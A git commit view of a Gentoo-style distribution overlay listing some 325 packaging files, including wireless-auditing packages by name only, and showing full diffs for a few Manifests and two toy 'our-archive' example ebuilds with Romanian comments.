summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--app-admin/our-archive/Manifest4
-rw-r--r--app-admin/our-archive/files/creation-1.patch9
-rw-r--r--app-admin/our-archive/our-archive-1.01.ebuild42
-rw-r--r--app-admin/our-archive/our-archive-1.ebuild40
-rw-r--r--app-admin/stability-watcher/Manifest3
-rw-r--r--app-admin/stability-watcher/files/07-rogentos-packages.mask71
-rw-r--r--app-admin/stability-watcher/files/entropy_sabayonlinux.org3
-rw-r--r--app-admin/stability-watcher/stability-watcher-0.1.ebuild32
-rw-r--r--app-editors/liteide/liteide-9999.ebuild10
-rw-r--r--app-emulation/packettracer/Manifest2
-rw-r--r--app-emulation/packettracer/packettracer-533.ebuild102
-rw-r--r--app-emulation/playonlinux/playonlinux-4.2.5.ebuild133
-rw-r--r--app-misc/rogentos-reposi/files/entropy_frozen5
-rw-r--r--app-misc/rogentos-reposi/files/entropy_rogentoslinux12
-rw-r--r--app-misc/rogentos-reposi/files/entropy_sabayon-weekly13
-rw-r--r--app-misc/rogentos-reposi/files/entropy_server62
-rwxr-xr-xapp-misc/rogentos-reposi/files/reupdate8
-rw-r--r--app-misc/rogentos-reposi/rogentos-reposi-1.0.ebuild35
-rw-r--r--app-misc/rogentos-version/rogentos-version-1.1.ebuild75
-rw-r--r--app-misc/serverconf-test/serverconf-test-1.ebuild33
-rw-r--r--dev-python/python-report/files/bugs.sabayon.org.ini9
-rw-r--r--dev-python/python-report/files/python-report-0.10-disable-rpm.patch20
-rw-r--r--dev-python/python-report/files/python-report-0.10-fix-version-detection.patch22
-rw-r--r--dev-python/python-report/files/python-report-0.10-sabayon-defaults.patch54
-rw-r--r--dev-python/python-report/files/python-report-0.23-disable-Werror.patch9
-rw-r--r--dev-python/python-report/files/python-report-0.23-disable-rpm.patch19
-rw-r--r--dev-python/python-report/files/python-report-0.23-sabayon-config.patch55
-rw-r--r--dev-python/python-report/python-report-0.10-r1.ebuild63
-rw-r--r--dev-python/python-report/python-report-0.23.ebuild48
-rw-r--r--dev-python/pytox/metadata.xml7
-rw-r--r--dev-python/pytox/pytox-9999.ebuild28
-rw-r--r--dev-util/molecule/Manifest1
-rw-r--r--dev-util/molecule/metadata.xml24
-rw-r--r--dev-util/molecule/molecule-0.9.24.7.ebuild38
-rwxr-xr-xdo-artwork-bump.sh25
-rw-r--r--eclass/avahi.eclass15
-rw-r--r--eclass/kde-l10n.eclass9
-rw-r--r--eclass/kogaion-artwork.eclass24
-rw-r--r--eclass/kogaion-kernel.eclass966
-rw-r--r--eclass/libreoffice-l10n-2.eclass42
-rw-r--r--eclass/rogentos-kernel.eclass7
-rw-r--r--eclass/sab-patches.eclass69
-rw-r--r--eclass/sabayon-artwork.eclass5
-rw-r--r--kde-base/oxygen-icons/Manifest14
-rw-r--r--lxde-base/lxdm/Manifest17
-rw-r--r--lxde-base/lxdm/files/lxdm-0.4.1-event-check.patch25
-rw-r--r--lxde-base/lxdm/files/lxdm-0.4.1-fix-optional-pam.patch31
-rw-r--r--lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch45
-rw-r--r--lxde-base/lxdm/files/lxdm-0.4.1-selinux-support.patch7
-rw-r--r--lxde-base/lxdm/lxdm-0.4.1-r9.ebuild98
-rw-r--r--media-sound/pymaxe/Manifest1
-rw-r--r--media-sound/pymaxe/pymaxe-0.60.ebuild33
-rw-r--r--media-tv/sp-auth/sp-auth-3.2.6.ebuild2
-rw-r--r--media-video/mpv/ChangeLog260
-rw-r--r--media-video/mpv/Manifest5
-rw-r--r--media-video/mpv/metadata.xml28
-rw-r--r--media-video/mpv/mpv-0.2.4.ebuild321
-rw-r--r--media-video/mpv/mpv-0.3.3.ebuild236
-rw-r--r--media-video/mpv/mpv-0.3.4.ebuild236
-rw-r--r--media-video/mpv/mpv-0.3.5.ebuild236
-rw-r--r--media-video/mpv/mpv-9999.ebuild231
-rw-r--r--media-video/nvidia-settings/Manifest12
-rw-r--r--media-video/nvidia-settings/nvidia-settings-331.49.ebuild76
-rw-r--r--media-video/simplescreenrecorder/Manifest2
-rw-r--r--media-video/simplescreenrecorder/metadata.xml7
-rw-r--r--media-video/simplescreenrecorder/simplescreenrecorder-0.2.0-r1.ebuild99
-rw-r--r--media-video/simplescreenrecorder/simplescreenrecorder-0.2.0-r2.ebuild95
-rw-r--r--media-video/simplescreenrecorder/simplescreenrecorder-0.2.0.ebuild95
-rw-r--r--media-video/simplescreenrecorder/simplescreenrecorder-0.2.1-r1.ebuild95
-rw-r--r--media-video/simplescreenrecorder/simplescreenrecorder-0.2.1.ebuild99
-rw-r--r--media-video/simplescreenrecorder/simplescreenrecorder-9999.ebuild95
-rw-r--r--media-video/tv-maxe/files/tv-maxe-0.09-pillow-support.patch26
-rw-r--r--media-video/tv-maxe/tv-maxe-0.09-r1.ebuild51
-rw-r--r--media-video/tv-maxe/tv-maxe-0.09.ebuild4
-rw-r--r--media-video/tv-maxe/tv-maxe-9999.ebuild54
-rw-r--r--net-im/blight/blight-9999.ebuild32
-rw-r--r--net-im/blight/files/blight-9999.patch12
-rw-r--r--net-im/blight/metadata.xml7
-rw-r--r--net-im/qtox/files/tox.svg20
-rw-r--r--net-im/qtox/metadata.xml8
-rw-r--r--net-im/qtox/qtox-9999.ebuild54
-rw-r--r--net-im/ratox/metadata.xml7
-rw-r--r--net-im/ratox/ratox-9999.ebuild35
-rw-r--r--net-im/tox-gui-qt/metadata.xml7
-rw-r--r--net-im/tox-gui-qt/tox-gui-qt-9999.ebuild37
-rw-r--r--net-im/tox-prpl/metadata.xml7
-rw-r--r--net-im/tox-prpl/tox-prpl-9999.ebuild39
-rw-r--r--net-im/toxic/metadata.xml12
-rw-r--r--net-im/toxic/toxic-9999.ebuild56
-rw-r--r--net-im/utox/metadata.xml7
-rw-r--r--net-im/utox/utox-9999.ebuild60
-rw-r--r--net-im/venom-av/metadata.xml13
-rw-r--r--net-im/venom-av/venom-av-9999.ebuild42
-rw-r--r--net-im/venom/metadata.xml12
-rw-r--r--net-im/venom/venom-9999.ebuild46
-rw-r--r--net-libs/tox/files/confd7
-rw-r--r--net-libs/tox/files/initd35
-rw-r--r--net-libs/tox/metadata.xml27
-rw-r--r--net-libs/tox/tox-9999.ebuild73
-rw-r--r--net-misc/haguichi/Manifest1
-rw-r--r--net-misc/haguichi/haguichi-1.0.25.ebuild46
-rw-r--r--net-misc/megasync/Manifest2
-rw-r--r--net-misc/megasync/megasync-1.0.34.ebuild50
-rw-r--r--net-wireless/bluemaho/Manifest4
-rw-r--r--net-wireless/bluemaho/bluemaho-090417-r1.ebuild39
-rw-r--r--net-wireless/bluemaho/files/bluemaho4
-rw-r--r--net-wireless/bluemaho/files/btftp-libxml.patch21
-rw-r--r--net-wireless/broadcom-sta/Manifest2
-rw-r--r--net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild82
-rw-r--r--net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r2.ebuild82
-rw-r--r--net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.10.0.patch102
-rw-r--r--net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.9.0.patch17
-rw-r--r--net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-makefile.patch14
-rw-r--r--net-wireless/broadcom-sta/metadata.xml8
-rw-r--r--net-wireless/crda/Manifest4
-rw-r--r--net-wireless/crda/crda-1.1.0-r1.ebuild39
-rw-r--r--net-wireless/crda/crda-1.1.1.ebuild29
-rw-r--r--net-wireless/dedected/Manifest3
-rw-r--r--net-wireless/dedected/dedected-9999.ebuild55
-rw-r--r--net-wireless/dedected/files/99-dect.rules2
-rw-r--r--net-wireless/dedected/files/load-dect.sh8
-rw-r--r--net-wireless/desknfc/Manifest1
-rw-r--r--net-wireless/desknfc/desknfc-9999.ebuild20
-rw-r--r--net-wireless/gqrx/Manifest1
-rw-r--r--net-wireless/gqrx/gqrx-9999.ebuild27
-rw-r--r--net-wireless/gr-air-modes/Manifest3
-rw-r--r--net-wireless/gr-air-modes/files/modes.py6
-rw-r--r--net-wireless/gr-air-modes/files/rtl_modes.py2
-rw-r--r--net-wireless/gr-air-modes/gr-air-modes-9999.ebuild43
-rw-r--r--net-wireless/grimwepa/Manifest5
-rw-r--r--net-wireless/grimwepa/files/grimwepa.conf12
-rw-r--r--net-wireless/grimwepa/files/grimwepa.desktop14
-rw-r--r--net-wireless/grimwepa/files/grimwepa.sh3
-rw-r--r--net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild36
-rw-r--r--net-wireless/haraldscan/Manifest4
-rw-r--r--net-wireless/haraldscan/files/haraldscan-maclist-path.patch11
-rw-r--r--net-wireless/haraldscan/haraldscan-0.41.ebuild59
-rw-r--r--net-wireless/horst/Manifest2
-rw-r--r--net-wireless/horst/horst-3.0.ebuild31
-rw-r--r--net-wireless/hostapd/ChangeLog579
-rw-r--r--net-wireless/hostapd/Manifest14
-rw-r--r--net-wireless/hostapd/files/cui-20120417.patch451
-rw-r--r--net-wireless/hostapd/files/cui-20120717.patch451
-rw-r--r--net-wireless/hostapd/files/hostapd-0.7.3-karma.patch481
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch1199
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-karma.patch465
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch24
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch48
-rw-r--r--net-wireless/hostapd/files/hostapd-conf.d9
-rw-r--r--net-wireless/hostapd/files/hostapd-init.d50
-rw-r--r--net-wireless/hostapd/hostapd-1.0-r4.ebuild207
-rw-r--r--net-wireless/hostapd/hostapd-1.0-r5.ebuild207
-rw-r--r--net-wireless/hostapd/metadata.xml21
-rw-r--r--net-wireless/ipw2200/ChangeLog396
-rw-r--r--net-wireless/ipw2200/Manifest5
-rw-r--r--net-wireless/ipw2200/files/digest-ipw2200-1.2.03
-rw-r--r--net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch98
-rw-r--r--net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch20
-rw-r--r--net-wireless/ipw2200/ipw2200-1.2.0.ebuild87
-rw-r--r--net-wireless/kismet-dect/Manifest1
-rw-r--r--net-wireless/kismet-dect/kismet-dect-9999.ebuild38
-rw-r--r--net-wireless/libfreefare/Manifest2
-rw-r--r--net-wireless/libfreefare/libfreefare-0.3.2.ebuild21
-rw-r--r--net-wireless/lorcon-old/Manifest1
-rw-r--r--net-wireless/lorcon-old/lorcon-old-9999.ebuild25
-rw-r--r--net-wireless/lorcon/Manifest1
-rw-r--r--net-wireless/lorcon/lorcon-9999.ebuild95
-rw-r--r--net-wireless/mdk/Manifest3
-rw-r--r--net-wireless/mdk/files/fix_wids_mdk3_v5.patch21
-rw-r--r--net-wireless/mdk/mdk-3.6.ebuild37
-rw-r--r--net-wireless/mfoc/Manifest3
-rw-r--r--net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch217
-rw-r--r--net-wireless/mfoc/mfoc-0.10.2.ebuild28
-rw-r--r--net-wireless/nfcd/Manifest1
-rw-r--r--net-wireless/nfcd/nfcd-9999.ebuild27
-rw-r--r--net-wireless/op25/Manifest1
-rw-r--r--net-wireless/op25/op25-9999.ebuild76
-rw-r--r--net-wireless/prism54/ChangeLog49
-rw-r--r--net-wireless/prism54/Manifest5
-rw-r--r--net-wireless/prism54/files/digest-prism54-200507243
-rwxr-xr-xnet-wireless/prism54/files/prism54-svn-20050724.patch13
-rw-r--r--net-wireless/prism54/metadata.xml10
-rw-r--r--net-wireless/prism54/prism54-20050724.ebuild48
-rw-r--r--net-wireless/reaver/ChangeLog10
-rw-r--r--net-wireless/reaver/Manifest12
-rw-r--r--net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch565
-rw-r--r--net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch53
-rw-r--r--net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch38
-rw-r--r--net-wireless/reaver/files/0004-wash-probe-request.patch31
-rw-r--r--net-wireless/reaver/files/0005-soreau-show-status-r2.patch97
-rw-r--r--net-wireless/reaver/files/0005-soreau-show-status.patch97
-rw-r--r--net-wireless/reaver/metadata.xml11
-rw-r--r--net-wireless/reaver/reaver-1.4-r1.ebuild38
-rw-r--r--net-wireless/reaver/reaver-1.4-r2.ebuild40
-rw-r--r--net-wireless/reaver/reaver-1.4-r3.ebuild40
-rw-r--r--net-wireless/rfidtool/Manifest2
-rw-r--r--net-wireless/rfidtool/rfidtool-0.01.ebuild26
-rw-r--r--net-wireless/sdrsharp/ChangeLog12
-rw-r--r--net-wireless/sdrsharp/Manifest4
-rw-r--r--net-wireless/sdrsharp/files/sdrsharp2
-rw-r--r--net-wireless/sdrsharp/metadata.xml12
-rw-r--r--net-wireless/sdrsharp/sdrsharp-9999.ebuild43
-rw-r--r--net-wireless/ska/Manifest2
-rw-r--r--net-wireless/ska/files/digest-ska-0.23
-rw-r--r--net-wireless/ska/ska-0.2.ebuild23
-rw-r--r--net-wireless/virtualradar-bin/Manifest5
-rw-r--r--net-wireless/virtualradar-bin/files/virtualradar2
-rw-r--r--net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild27
-rw-r--r--net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild26
-rw-r--r--net-wireless/wifitap/Manifest2
-rw-r--r--net-wireless/wifitap/wifitap-0.4.0-r4.ebuild42
-rw-r--r--net-wireless/wireless-regdb/Manifest13
-rw-r--r--net-wireless/wireless-regdb/files/extra-monitor-20090817.patch51
-rw-r--r--net-wireless/wireless-regdb/files/extra-monitor-20091125.patch51
-rw-r--r--net-wireless/wireless-regdb/files/extra-monitor-debug.patch34
-rw-r--r--net-wireless/wireless-regdb/files/extra-monitor.patch19
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild38
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild38
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild37
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild39
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild39
-rw-r--r--profiles/package.mask6
-rw-r--r--sets/fluxbox2
-rw-r--r--sys-boot/grub/files/101-freetype2_fix_mkfont.patch11
-rw-r--r--sys-boot/grub/files/grub-2.00-fix-locale-en.mo.gz-not-found-error-message.patch38
-rw-r--r--sys-boot/grub/grub-2.00-r7.ebuild288
-rw-r--r--sys-boot/plymouth-extras/Manifest1
-rw-r--r--sys-boot/plymouth-extras/plymouth-extras-0.8.9_pre1.ebuild53
-rw-r--r--sys-fs/zfs-kmod/Manifest10
-rw-r--r--sys-fs/zfs-kmod/metadata.xml12
-rw-r--r--sys-fs/zfs-kmod/zfs-kmod-0.6.2-r2.ebuild187
-rw-r--r--sys-fs/zfs-kmod/zfs-kmod-0.6.2-r3.ebuild187
-rw-r--r--sys-fs/zfs-kmod/zfs-kmod-0.6.2-r5.ebuild187
-rw-r--r--sys-fs/zfs-kmod/zfs-kmod-0.6.3.ebuild169
-rw-r--r--sys-kernel/kogaion-sources/Manifest4
-rw-r--r--sys-kernel/kogaion-sources/kogaion-sources-3.12.10.ebuild22
-rw-r--r--sys-kernel/kogaion-sources/kogaion-sources-3.14.10.ebuild22
-rw-r--r--sys-kernel/kogaion-sources/kogaion-sources-3.14.15.ebuild22
-rw-r--r--sys-kernel/linux-kogaion/Manifest3
-rw-r--r--sys-kernel/linux-kogaion/linux-kogaion-3.12.10.ebuild29
-rw-r--r--sys-kernel/linux-kogaion/linux-kogaion-3.14.10.ebuild29
-rw-r--r--sys-kernel/linux-kogaion/linux-kogaion-3.14.15.ebuild29
-rw-r--r--sys-kernel/linux-kogaion/linux-kogaion.skel29
-rw-r--r--sys-kernel/rogentos-sources/Manifest2
-rw-r--r--sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild8
-rw-r--r--x11-drivers/ati-drivers/Manifest74
-rw-r--r--x11-drivers/ati-drivers/ati-drivers-13.12.ebuild204
-rw-r--r--x11-drivers/ati-drivers/ati-drivers-13.9.ebuild200
-rw-r--r--x11-drivers/ati-drivers/files/ati-drivers-13.12-acpi.patch16
-rw-r--r--x11-drivers/ati-drivers/files/ati-drivers-13.6-linux-3.10-proc.diff356
-rw-r--r--x11-drivers/ati-drivers/files/ati-drivers-13.8-beta-include-seq_file.patch13
-rw-r--r--x11-drivers/ati-drivers/files/buildfix_kernel_3.13.patch30
-rw-r--r--x11-drivers/ati-drivers/files/check-for-iommu-only-if-iommu-is-supported.patch31
-rw-r--r--x11-drivers/ati-drivers/files/linux-3.10-proc.diff293
-rw-r--r--x11-drivers/ati-drivers/files/typesafe-kuid.diff34
-rw-r--r--x11-drivers/ati-userspace/Manifest70
-rw-r--r--x11-drivers/ati-userspace/ati-userspace-13.12.ebuild501
-rw-r--r--x11-drivers/ati-userspace/ati-userspace-13.9.ebuild494
-rw-r--r--x11-drivers/ati-userspace/files/ati-drivers-13.12-acpi.patch16
-rw-r--r--x11-drivers/ati-userspace/files/ati-drivers-13.6-linux-3.10-proc.diff356
-rw-r--r--x11-drivers/ati-userspace/files/ati-drivers-13.8-beta-include-seq_file.patch13
-rw-r--r--x11-drivers/ati-userspace/files/ati-drivers-13.8-mesa-9.2-debug.patch18
-rw-r--r--x11-drivers/ati-userspace/files/ati-drivers-13.8-proc-permissions.diff13
-rw-r--r--x11-drivers/ati-userspace/files/check-for-iommu-only-if-iommu-is-supported.patch31
-rw-r--r--x11-drivers/ati-userspace/files/typesafe-kuid.diff34
-rw-r--r--x11-drivers/nvidia-drivers/Manifest151
-rw-r--r--x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.13.patch13
-rw-r--r--x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.14.patch12
-rw-r--r--x11-drivers/nvidia-drivers/files/nvidia-drivers-3.13.patch35
-rw-r--r--x11-drivers/nvidia-drivers/files/nvidia-drivers-3.14.patch12
-rw-r--r--x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.13.patch13
-rw-r--r--x11-drivers/nvidia-drivers/files/nvidia-drivers-331.13-pax-usercopy.patch52
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-173.14.39.ebuild211
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-304.119.ebuild190
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-304.121.ebuild187
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-304.123.ebuild187
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-331.49.ebuild170
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-331.67.ebuild170
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-337.19.ebuild168
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-337.25.ebuild168
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-340.24.ebuild168
-rw-r--r--x11-drivers/nvidia-drivers/nvidia-drivers-340.32.ebuild168
-rw-r--r--x11-drivers/nvidia-userspace/Manifest135
-rw-r--r--x11-drivers/nvidia-userspace/files/nvidia-drivers-331.13-pax-usercopy.patch52
-rw-r--r--x11-drivers/nvidia-userspace/files/nvidia-uvm.conf3
-rw-r--r--x11-drivers/nvidia-userspace/metadata.xml1
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-173.14.39.ebuild395
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-304.119.ebuild379
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-304.121.ebuild379
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-304.123.ebuild379
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-331.49.ebuild375
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-331.67.ebuild375
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-337.19.ebuild353
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-337.25.ebuild353
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-340.24.ebuild353
-rw-r--r--x11-drivers/nvidia-userspace/nvidia-userspace-340.32.ebuild353
-rw-r--r--x11-drivers/xf86-video-ati/Manifest10
-rw-r--r--x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild2
-rw-r--r--x11-drivers/xf86-video-ati/xf86-video-ati-7.2.0.ebuild52
-rw-r--r--x11-drivers/xf86-video-intel/Manifest5
-rw-r--r--x11-drivers/xf86-video-intel/metadata.xml4
-rw-r--r--x11-drivers/xf86-video-intel/xf86-video-intel-2.21.14.ebuild65
-rw-r--r--x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild5
-rw-r--r--x11-themes/kogaion-artwork-core/Manifest3
-rw-r--r--x11-themes/rogentos-artwork-extra/Manifest2
-rw-r--r--x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild32
-rw-r--r--x11-themes/rogentos-artwork-grub/Manifest7
-rw-r--r--x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild32
-rw-r--r--x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild32
-rw-r--r--x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild32
-rw-r--r--x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild32
-rw-r--r--x11-themes/rogentos-artwork-isolinux/Manifest7
-rw-r--r--x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild28
-rw-r--r--x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild28
-rw-r--r--x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild28
-rw-r--r--x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild28
-rw-r--r--x11-themes/rogentos-artwork-kde/Manifest3
-rw-r--r--x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml159
-rw-r--r--x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild44
-rw-r--r--x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild31
-rw-r--r--x11-themes/rogentos-artwork-lxde/Manifest2
-rw-r--r--x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild32
-rw-r--r--x11-themes/rogentos-artwork-resplash/Manifest2
-rw-r--r--x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild46
-rw-r--r--x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild45
325 files changed, 24001 insertions, 507 deletions
diff --git a/app-admin/our-archive/Manifest b/app-admin/our-archive/Manifest
new file mode 100644
index 00000000..f3ad1964
--- /dev/null
+++ b/app-admin/our-archive/Manifest
@@ -0,0 +1,4 @@
+AUX creation-1.patch 320 SHA256 a2a7f2bfe8830365303c0ffb35540cdd6873351a3ad94ad4dba6058101a65652 SHA512 a2aae609baa2d1b652b7b354ac0ed17bb2c69c81bcdd06b7db27cd1ce3589eb5873ae2e39994595b0aafaf539df1b7bb8b8ac66e5debe198335f0e7123275d66 WHIRLPOOL 195bc88aaea57e667eabb5caa2d45beb6863f0cb2d3e656abd9ae7afb041896658e5d48175eefb65d4dcd4917335d6a383b5c99955fdc18cd46ec13a6d84378e
+DIST creation.tar.gz 276 SHA256 350a917c75348976195219628320a7628bff16d86e9430b9851cf2595a440e19 SHA512 0987618543ed3cf341869e8cf6fb147a42d78217ee5bb0baf6e11a5589e018b6f6a98e4c4422a23f253b713f241ec1d781ba1d808d6fbaab8a0dc928018b441c WHIRLPOOL 81c4042214b8e31f6fc4ae3724a7e9a6ba0e37f0bfe1033d631115acf23e741a59a774716f9546b17954b6947ab01a502b9947086b95fcfab88a3e6a34ddf57f
+EBUILD our-archive-1.01.ebuild 1040 SHA256 039c5fbd892418d60e27c611d37fe8cfc6f51383f60486485336c923e805a9d2 SHA512 bd5478223d671e870956a676b887f5edbbaa1258307ca71ffe7e7d263d5b327ddbb06dd39b4d42a304777bb253184c2a5f123c6baf259ffee9e89cc163d4dcaf WHIRLPOOL 899fa3e7e31a31bfedcda7590ad945b1bf01bb22f7c017fd2bca9c5fb1e8d120ce78e9f42869cd79cf5d55af0d0e0d289c31715c4e48007679384264dfae3ee1
+EBUILD our-archive-1.ebuild 896 SHA256 d9f6a84c381d26dbfc23bcada2bb62b21ca8f1e694c1a56fc431390cc6d02e15 SHA512 1b45c3efa37539fef7e2b83dfed581981d3d625a385402189192cee013ee8cb56fd45f7668e61c222a6089e1f7d3628f94fa103a1152b58ef5a617edb987de54 WHIRLPOOL 942c3e066188d53e7490ad289bee11928f14af5bbc3588a866ea568378d3d5f1672f899d28fa85721d81101570755f2701633d2f7ff3a3091319e1272af440f7
diff --git a/app-admin/our-archive/files/creation-1.patch b/app-admin/our-archive/files/creation-1.patch
new file mode 100644
index 00000000..f8fe2e54
--- /dev/null
+++ b/app-admin/our-archive/files/creation-1.patch
@@ -0,0 +1,9 @@
+--- creation.orig.sh 2012-10-03 03:21:59.000000000 +0300
++++ creation.sh 2012-10-03 03:29:53.393351235 +0300
+@@ -4,5 +4,5 @@
+ # $Header: $
+
+ if [ -d "/home/" ]; then
+- echo "Acesta este home-ul tau. Let's play with it a bit, shall we"
++ echo "Acesta nu mai este casa ta. Let's play with it a bit, or shall we not."
+ fi
diff --git a/app-admin/our-archive/our-archive-1.01.ebuild b/app-admin/our-archive/our-archive-1.01.ebuild
new file mode 100644
index 00000000..bd17c022
--- /dev/null
+++ b/app-admin/our-archive/our-archive-1.01.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+inherit eutils
+
+DESCRIPTION="Example X"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/creation.tar.gz
+ http://pkg2.rogentos.ro/~noxis/distro/creation.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="-configurare"
+
+RESTRICT="fetch strip"
+
+RDEPEND=""
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_prepare() {
+ epatch "${FILESDIR}/creation-1.patch" || die #Aplicam patch-ul inainte
+ sed -i 's/Acesta/Asta/g' creation.sh || die #Sed-uim fisierul
+}
+
+src_install() {
+ if use configurare ; then
+ dodir /home/$USER/test || die #Creaza director
+ insinto /home/$USER/test || die #Intra in director
+ doins creation.sh || die #Copiaza in directorul creat
+ fi
+
+ if ! use configurare ; then
+ sed -i 's/Asta/Acesta inapoi/g' "${S}"/creation.sh || die #Schimba Asta inapoi cu Acesta, dar inapoi
+ doins "${S}"/creation.sh /home/$USER/ || die #De data asta bagam fisierul unde trebe
+ fi
+}
diff --git a/app-admin/our-archive/our-archive-1.ebuild b/app-admin/our-archive/our-archive-1.ebuild
new file mode 100644
index 00000000..815796cf
--- /dev/null
+++ b/app-admin/our-archive/our-archive-1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+inherit eutils
+
+DESCRIPTION="Example X"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg2.rogentos.ro/~noxis/distro/creation.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="-configurare"
+
+RESTRICT="fetch strip"
+
+RDEPEND=""
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_prepare() {
+ epatch "${FILESDIR}/creation-1.patch" || die #Aplicam patch-ul inainte
+ sed -i 's/Acesta/Asta/g' creation.sh || die #Sed-uim fisierul
+}
+
+src_install() {
+ if use configurare ; then
+ dodir /home/$USER/test || die #Creaza director
+ insinto /home/$USER/test || die #Intra in director
+ doins creation.sh || die #Copiaza in directorul creat
+ fi
+
+ if ! use configurare ; then
+ sed -i 's/Asta/Acesta inapoi/g' "${S}"/creation.sh || die #Schimba Asta inapoi cu Acesta, dar inapoi
+ fi
+}
diff --git a/app-admin/stability-watcher/Manifest b/app-admin/stability-watcher/Manifest
new file mode 100644
index 00000000..ea2322c8
--- /dev/null
+++ b/app-admin/stability-watcher/Manifest
@@ -0,0 +1,3 @@
+AUX 07-rogentos-packages.mask 2510 SHA256 49018d312861811c8e1544365b4100fffd94412e6a0df2d8b3eacd07f5de575a SHA512 d548d851cba1bb2a2b3bcecb2f6604e665a6cd6aee1ba5b00b70a377bdbe9d70eba0cfb380345d3b09149168f95dc25612d507d4d180e3086909e8ca1ffbe641 WHIRLPOOL e3db099b873eba1a990d63ff047b9fe0b6d15672a97e9d9865e872d08277631865e9d28026055edcba17f719379a850a326f27b68eb5bbb1e8f94cacbc5bd63f
+AUX entropy_sabayonlinux.org 351 SHA256 4145eab1e83a6615d5f2931f798ec43ba97f395ff54ea0909a409833d5009abb SHA512 9bccbd9039edb8a19b150f27a9d567e6032d5ae3bb74f12102cd646a8c447794fa8b78f8bf1a86a3536717789496333824694f54274890d4eb382c5e1b1cd363 WHIRLPOOL 9f7f1a56f34b998f9136fe9b2784549281c48843d49e5d4d5f826fa11699debab1113c8326d5f223746304d98a8473e8b08b1eaeb4dae4464cc1c8dbdbdfaa0b
